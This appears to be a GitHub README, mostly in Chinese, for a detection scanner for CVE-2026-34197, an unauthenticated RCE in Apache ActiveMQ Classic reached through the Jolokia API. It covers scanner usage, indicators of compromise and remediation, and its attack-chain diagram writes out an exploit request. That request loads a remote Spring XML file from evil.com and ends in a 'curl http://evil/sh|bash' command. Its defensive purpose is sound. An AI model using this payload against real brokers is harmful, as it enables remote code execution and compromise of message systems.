keraattin/CVE-2026-34197

GitHub: keraattin/CVE-2026-34197

一款针对 Apache ActiveMQ Classic 未认证 RCE 漏洞的探测与验证工具,聚焦 Jolokia API 检测与版本评估。

Stars: 0 | Forks: 0

# CVE-2026-34197 — Apache ActiveMQ Classic 通过 Jolokia API 的 RCE

CVE-2026-34197 CVSS 8.8 CWE-94 ActiveMQ Classic

## TL;DR Apache ActiveMQ Classic 中存在一个**远程代码执行**漏洞,攻击者可通过调用 Jolokia API(`/api/jolokia/`)的 `addNetworkConnector(String)` MBean 操作执行任意代码。攻击者嵌入指向远程 Spring XML 文件的恶意 `brokerConfig` 参数,ActiveMQ 会获取并解析该文件,实例化任意 Java 对象从而实现代码执行。 在 **ActiveMQ 6.0.0 到 6.1.1** 版本中,Jolokia 端点**完全未进行身份验证**,这使得该漏洞成为无需点击的未认证 RCE。 该漏洞在代码库中隐藏了 **13 年** 才被发现。 ## 目录 - [快速要点](#quick-facts) - [Apache ActiveMQ 是什么?](#what-is-apache-activemq) - [漏洞深度分析](#vulnerability-deep-dive) - [架构:Jolokia 与 JMX](#the-architecture-jolokia-and-jmx) - [攻击链](#the-attack-chain) - [认证缺口](#the-authentication-gap) - [影响分析](#impact-analysis) - [受影响版本](#affected-versions) - [检测](#detection) - [Python 扫描器](#python-scanner) - [Nmap NSE 脚本](#nmap-nse-script) - [手动验证](#manual-verification) - [妥协指标](#indicators-of-compromise) - [修复](#remediation) - [参考](#references) - [作者](#author) ## 快速要点 | 字段 | 说明 | |-------|--------| | **CVE ID** | CVE-2026-34197 | | **厂商** | Apache Software Foundation | | **产品** | Apache ActiveMQ Classic | | **受影响版本** | 5.19.4 之前的所有版本以及 6.2.3 之前的所有版本 | | **未认证 RCE** | 6.0.0 到 6.1.1 版本(Jolokia 无认证) | | **CVSS v3.1** | 8.8(高危) | | **CWE** | CWE-94 — 不当代码控制 | | **攻击向量** | 网络 | | **认证** | 5.x 需要认证;**6.0.0 到 6.1.1 无认证** | | **用户交互** | 无 | | **漏洞成熟度** | 已有公开 PoC | | **修复版本** | ActiveMQ Classic 5.19.4、6.2.3 | | **漏洞存在时间** | 约 13 年 | | **发现方式** | AI 辅助的漏洞研究 | ## 什么是 Apache ActiveMQ? Apache ActiveMQ Classic 是 Java 生态系统中部署最广泛的开源消息代理之一。它实现了 Java 消息服务(JMS)规范,并作为全球数千个企业环境中异步通信的骨干。 ActiveMQ 处理从订单处理队列和金融交易管道到 IoT 遥测流和微服务事件总线的所有内容。如果您的组织使用基于 Java 的微服务、事件驱动架构或任何形式的异步消息传递,ActiveMQ 很可能存在于技术栈的某个位置。 ``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here ``` 当攻击者攻破 ActiveMQ 时,他们不仅获得一台服务器的 Shell。他们坐在**组织所有消息流的中心**,能够读取、修改、重定向或注入关键系统之间的消息。 ## 漏洞深度分析 ### 架构:Jolokia 与 JMX **JMX**(Java 管理扩展)是 Java 应用程序的标准管理接口。它暴露了“MBean”(托管 Bean),允许监控和控制应用程序内部。ActiveMQ 暴露了用于管理代理、队列、主题、连接等的 MBean。 **Jolokia** 是一个 JMX-over-HTTP 桥接器。它将 JMX 操作转换为 RESTful JSON API,使得通过 HTTP 请求管理 Java 应用程序成为可能,而无需专用的 JMX 客户端。 ActiveMQ Classic 内置 Jolokia,可通过 Web 控制台端口(默认 8161)上的 `/api/jolokia/` 访问。 ``` Traditional JMX Access: ┌──────────┐ ┌──────────────┐ │ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │ │ │ (requires JMX client) │ MBeans │ └──────────┘ └──────────────┘ Jolokia HTTP Access: ┌──────────┐ ┌──────────────┐ │ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │ │ browser │ (just needs HTTP) │ MBeans │ └──────────┘ └──────────────┘ ⬆️ Anyone with HTTP access can invoke MBean operations ``` 这正是麻烦开始的地方。Jolokia 通过简单的 HTTP API 暴露了 JMX 管理的全部功能。而代理上的一个 MBean 操作 `addNetworkConnector(String)` 可用。 ### 攻击链 `addNetworkConnector(String)` 操作用于在 ActiveMQ 代理实例之间创建网络桥接。它接受一个描述如何连接到另一个代理的 URI 字符串。 ActiveMQ 支持用于进程内代理连接的 `vm://` URI 方案。这些 URI 支持一个 `brokerConfig` 参数,该参数指向一个 Spring XML 配置文件。而 Spring XML 可以实例化任意 Java 对象。 以下是完整链条: ``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘ ``` ActiveMQ 正是按照设计执行操作:加载代理配置。问题在于配置源由攻击者控制,而 Spring XML 本质上是一种代码执行格式。 ### 认证缺口 这就是将漏洞从严重提升为危急的关键: | ActiveMQ 版本 | Jolokia 认证状态 | 影响 | |:---:|:---:|:---:| | 5.x(< 5.19.4) | 已认证(默认:admin:admin) | 认证 RCE,通常可轻易绕过 | | 6.0.0 到 6.1.1 | **完全未认证** | **未认证 RCE** | | 6.1.2 到 6.2.2 | 已认证 | 认证 RCE | | 5.19.4+ / 6.2.3+ | 已修复 | 不可利用 | 在 ActiveMQ 6.0.0 到 6.1.1 版本中,Jolokia 端点**完全不需要认证**。任何能够访问 8161 端口的人都可以获得未认证的远程代码执行。 即使在需要认证的版本中,默认凭证 `admin:admin` 也广为人知,且经常在不开发、测试和生产环境中更改。 ## 影响分析 **对代理主机的即时影响:** - 以 ActiveMQ 进程权限的完整远程代码执行 - 访问所有消息队列、主题和存储的消息 - 读取/修改/注入传输中的消息 - 访问配置文件、密钥库和存储的凭证 **通过消息操纵的下游影响:** - 向处理队列注入恶意消息 - 修改传输中的金融交易、订单或命令 - 拦截流经代理的敏感数据 - 破坏所有依赖消息的服务 **企业风险放大:** - ActiveMQ 位于使用它的每个应用程序的交汇点 - 单个被攻破的代理可能影响数十个连接的服务 - 消息代理通常部署在具有广泛访问权限的可信网络区域 - 从代理的网络位置进行横向移动非常直接 ``` What an attacker can do after exploitation: ┌─────────────────────────────────────────────────────────┐ │ Compromised ActiveMQ Broker │ └────┬───────────┬───────────┬───────────┬──────────┬─────┘ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ Read/modify Inject Pivot to Intercept Deploy messages malicious connected creds in persistent in transit messages systems messages backdoor ``` ## 受影响版本 | 版本 | 状态 | |---------|--------| | ActiveMQ Classic 6.2.3+ | **已修复** | | ActiveMQ Classic 5.19.4+ | **已修复** | | ActiveMQ Classic 6.0.0 到 6.2.2 | **易受攻击**(6.0.0 到 6.1.1 = 未认证) | | ActiveMQ Classic < 5.19.4 | **易受攻击**(已认证) | | ActiveMQ Artemis | 未受影响(不同的代码库) | ## 检测 ### Python 扫描器 该 Python 脚本通过多步骤分析检测易受攻击的 ActiveMQ 实例。 **工作原理:** 1. **Jolokia 端点检查** — 测试 `/api/jolokia/` 是否无需认证即可访问(HTTP 200 = 开放,401 = 需要认证) 2. **默认凭证测试** — 如果 Jolokia 需要认证,尝试 `admin:admin`、`user:user`、`admin:activemq` 3. **版本检测** — 通过正则表达式匹配从 `/admin/` 和 `/` 页面抓取 ActiveMQ 版本字符串 4. **MBean 可访问性** — 执行安全的 Jolokia 搜索查询,确认 `org.apache.activemq:type=Broker` 路径存在 不发送任何攻击载荷。不执行任何命令。扫描器仅观察端点的可访问性和版本信息。 **用法:** ``` # 安装依赖 pip install -r requirements.txt # 单个目标 python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161 # 使用自定义凭证 python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret # 从文件进行批量扫描并输出详细信息 python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v # 禁用 SSL 验证的 HTTPS(默认) python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161 # 增加超时以适应慢速网络 python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20 ``` **选项:** | 标志 | 说明 | 默认值 | |------|-------------|---------| | `-t`, `--target` | 单个目标 URL(例如 `http://host:8161`) | — | | `-f`, `--file` | 目标 URL 文件,每行一个(支持 `#` 注释) | — | | `-u`, `--username` | Jolokia 认证用户名 | — | | `-p`, `--password` | Jolokia 认证密码 | — | | `-o`, `--output` | 将结果保存为 JSON 文件 | — | | `--timeout` | 连接超时(秒) | `10` | | `--verify-ssl` | 启用 SSL 证书验证 | 禁用 | | `-v`, `--verbose` | 详细输出完整信息 | 关闭 | **示例输出:** ``` [*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner [*] Scanning 1 target(s)... ====================================================================== Target: http://10.0.0.1:8161 Scan Time: 2026-04-14T15:30:00Z Risk Level: CRITICAL ====================================================================== Jolokia Accessible: YES Requires Auth: NO (unauthenticated) ActiveMQ Version: 6.1.0 Vulnerable: YES Unauth RCE (6.0-6.1): YES — CRITICAL Broker MBean Access: YES Details: - Jolokia API accessible WITHOUT authentication - Detected ActiveMQ version: 6.1.0 - Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1) CRITICAL: No auth required! - Broker MBean accessible: [org.apache.activemq:type=Broker,...] ====================================================================== [*] Scan Complete: 1 targets scanned [*] Vulnerable: 1 | Critical: 1 ====================================================================== ``` ### Nmap NSE 脚本 ``` # 安装 NSE 脚本 sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb # 基本扫描 nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia # 扫描子网 nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24 # 多个常用端口 nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia # 从文件扫描目标 nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt # 启用服务版本检测 nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia ``` **示例 Nmap 输出:** ``` PORT STATE SERVICE 8161/tcp open http | CVE-2026-34197_ActiveMQ_Jolokia: | VULNERABLE: | Apache ActiveMQ Jolokia RCE (CVE-2026-34197) | State: VULNERABLE | Risk level: CRITICAL | ActiveMQ Version: 6.1.0 | Jolokia Accessible: true (unauthenticated) | Description: | CRITICAL: Jolokia API is accessible without authentication on | ActiveMQ 6.1.0, enabling unauthenticated remote code execution | via addNetworkConnector MBean. | References: |_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197 ``` ### 手动验证 如果希望使用 `curl` 手动检查: ``` # 步骤 1:检查 Jolokia 是否可访问(如果开放应返回 JSON) curl -sk http://:8161/api/jolokia/ | python3 -m json.tool # 步骤 2:使用默认凭证检查(如果步骤 1 返回 401) curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool # 步骤 3:检查 MBean 可访问性(安全只读查询) curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=* \ | python3 -m json.tool ``` 如果第一步返回包含 Jolokia 代理信息的 JSON 响应,则端点未认证。如果第二步使用默认凭证成功,则拥有认证访问权限。无论哪种情况,只要代理 MBean 可访问,就存在可利用路径。 ## 妥协指标 在环境中观察以下迹象: | 指标 | 检查位置 | 查找内容 | |:---|:---|:---| | Jolokia 访问 | Web 控制台访问日志 | POST 到 `/api/jolokia/` 且包含 `addNetworkConnector` | | 出站请求 | 网络日志 / 防火墙 | ActiveMQ 向意外外部主机发起的 HTTP 请求 | | Spring XML 加载 | ActiveMQ 日志 | 对 `xbean:http://` URI 的引用 | | 网络连接器 | 代理配置 | 您未创建的带有 `brokerConfig` 参数的 `vm://` URI | | 子进程 | 进程监控 | 由 ActiveMQ Java 进程生成的非预期进程 | **调查命令:** ``` # 检查 ActiveMQ 日志中的可疑 Jolokia 操作 grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/ # 检查运行代理中未预期的网络连接器 curl -sk http://:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors # 监控 ActiveMQ 进程的未预期出站连接 ss -tnp | grep java # 检查未预期的子进程 ps aux --forest | grep -A5 activemq ``` ## 修复 **立即操作(请立即执行):** 1. **升级 ActiveMQ Classic** 至版本 **5.19.4** 或 **6.2.3**(取决于您的分支) 2. **限制 Jolokia 访问**,通过防火墙规则或反向代理 ACL 阻止对 `/api/jolokia/` 的外部访问 3. **更改默认凭证**,如果您在 Web 控制台上使用 `admin:admin` **短期(本周内):** 4. **审核 Jolokia 访问日志**,寻找利用迹象(查找 `addNetworkConnector` 操作) 5. **审查所有 ActiveMQ 实例的网络连接器**,查找未经授权的条目 6. **检查从 ActiveMQ 代理主机发起的意外出站连接** 7. **轮换通过代理连接的服务凭证** **长期:** 8. **对消息代理基础设施进行网络分段**(独立的管理 VLAN) 9. **监控 Jolokia 访问模式**,并对意外 MBean 操作设置告警 10. **将 ActiveMQ 纳入常规漏洞扫描和补丁管理周期** 11. **如不需要 JMX 管理,则完全禁用 Jolokia**,或仅将其绑定到 localhost ## 参考 - [Horizon3.ai — CVE-2026-34197 ActiveMQ RCE via Jolokia API](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) - [SecurityWeek — RCE 漏洞在 Apache ActiveMQ Classic 中潜伏 13 年](https://www.securityweek.com/rce-bug-lurked-in-apache-activemq-classic-for-13-years/) - [Help Net Security — Apache ActiveMQ RCE 漏洞 CVE-2026-34197](https://www.helpnetsecurity.com/2026/04/09/apache-activemq-rce-vulnerability-cve-2026-34197-claude/) - [CSO Online — Claude 发现一个 13 年前的 ActiveMQ RCE 漏洞](https://www.csoonline.com/article/4157146/claude-uncovers-a-13-year-old-activemq-rce-bug-within-minutes.html) - [CCB Belgium — 警告:Apache ActiveMQ 的高危漏洞](https://ccb.belgium.be/advisories/warning-high-severity-vulnerability-apache-activemq-patch-immediately) - [CSA Singapore — Apache ActiveMQ Classic 中的关键漏洞](https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-034/) - [GBHackers — Claude 识别关键 13 年旧 RCE 漏洞](https://gbhackers.com/claude-identifies-critical-13-year-old-rce-vulnerability-in-apache-activemq/) ## 作者 **Kerem Oruç** — 网络安全工程师 - GitHub:[@keraattin](https://github.com/keraattin) - Twitter:[@keraattin](https://twitter.com/keraattin)
标签:13年漏洞, ActiveMQ Classic, addNetworkConnector, AI辅助发现, Apache ActiveMQ, CVE-2026-34197, CVSS 8.8, CWE-94, JMX, Jolokia, MBean, Nmap NSE, Python 扫描器, RCE, Spring XML, URL发现, 修复版本 5.19.4, 修复版本 6.2.3, 安全检测, 影响版本 6.0.0-6.1.1, 数据泄露防护, 未认证, 编程工具, 网络探测, 远程代码执行, 远程文件包含, 逆向工具, 零点击, 高危漏洞